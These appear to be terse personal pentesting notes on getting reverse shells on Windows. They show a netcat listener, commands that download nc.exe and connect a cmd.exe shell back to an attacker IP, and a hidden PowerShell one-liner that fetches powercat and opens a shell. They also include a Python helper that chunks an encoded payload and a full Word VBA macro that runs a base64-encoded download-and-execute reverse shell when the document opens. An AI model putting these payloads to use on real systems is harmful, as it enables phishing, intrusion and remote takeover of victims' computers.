reverse shell

https://gchq.github.io/CyberChef

https://www.online-python.com/

window

//kali
nc -nvlp 443

//windows
os-shell> curl http://192.168.45.189/nc.exe -o "C:\\inetpub\\wwwroot\\nc.exe"

os-shell> C:\\inetpub\\wwwroot\\nc.exe 192.168.45.189 4444 -e cmd.exe
// or
powershell.exe -nop -w hidden \
-enc 'IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.189/powercat.ps1");powercat -c 192.168.45.189 -p 4444 -e powershell'

str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."

n = 50

for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.237/powercat.ps1');powercat -c 192.168.45.237 -p 443 -e powershell

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.237/powercat.ps1');powercat -c 192.168.45.237 -p 443 -e powershell

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String

Str = Str + "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY"
Str = Str + "3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5"
Str = Str + "nKCdodHRwOi8vMTkyLjE2OC40NS4yMzcvcG93ZXJjYXQucHMxJ"
Str = Str + "yk7cG93ZXJjYXQgLWMgMTkyLjE2OC40NS4yMzcgLXAgNDQzIC1"
Str = Str + "lIHBvd2Vyc2hlbGw="
  
CreateObject("Wscript.Shell").Run Str

End Sub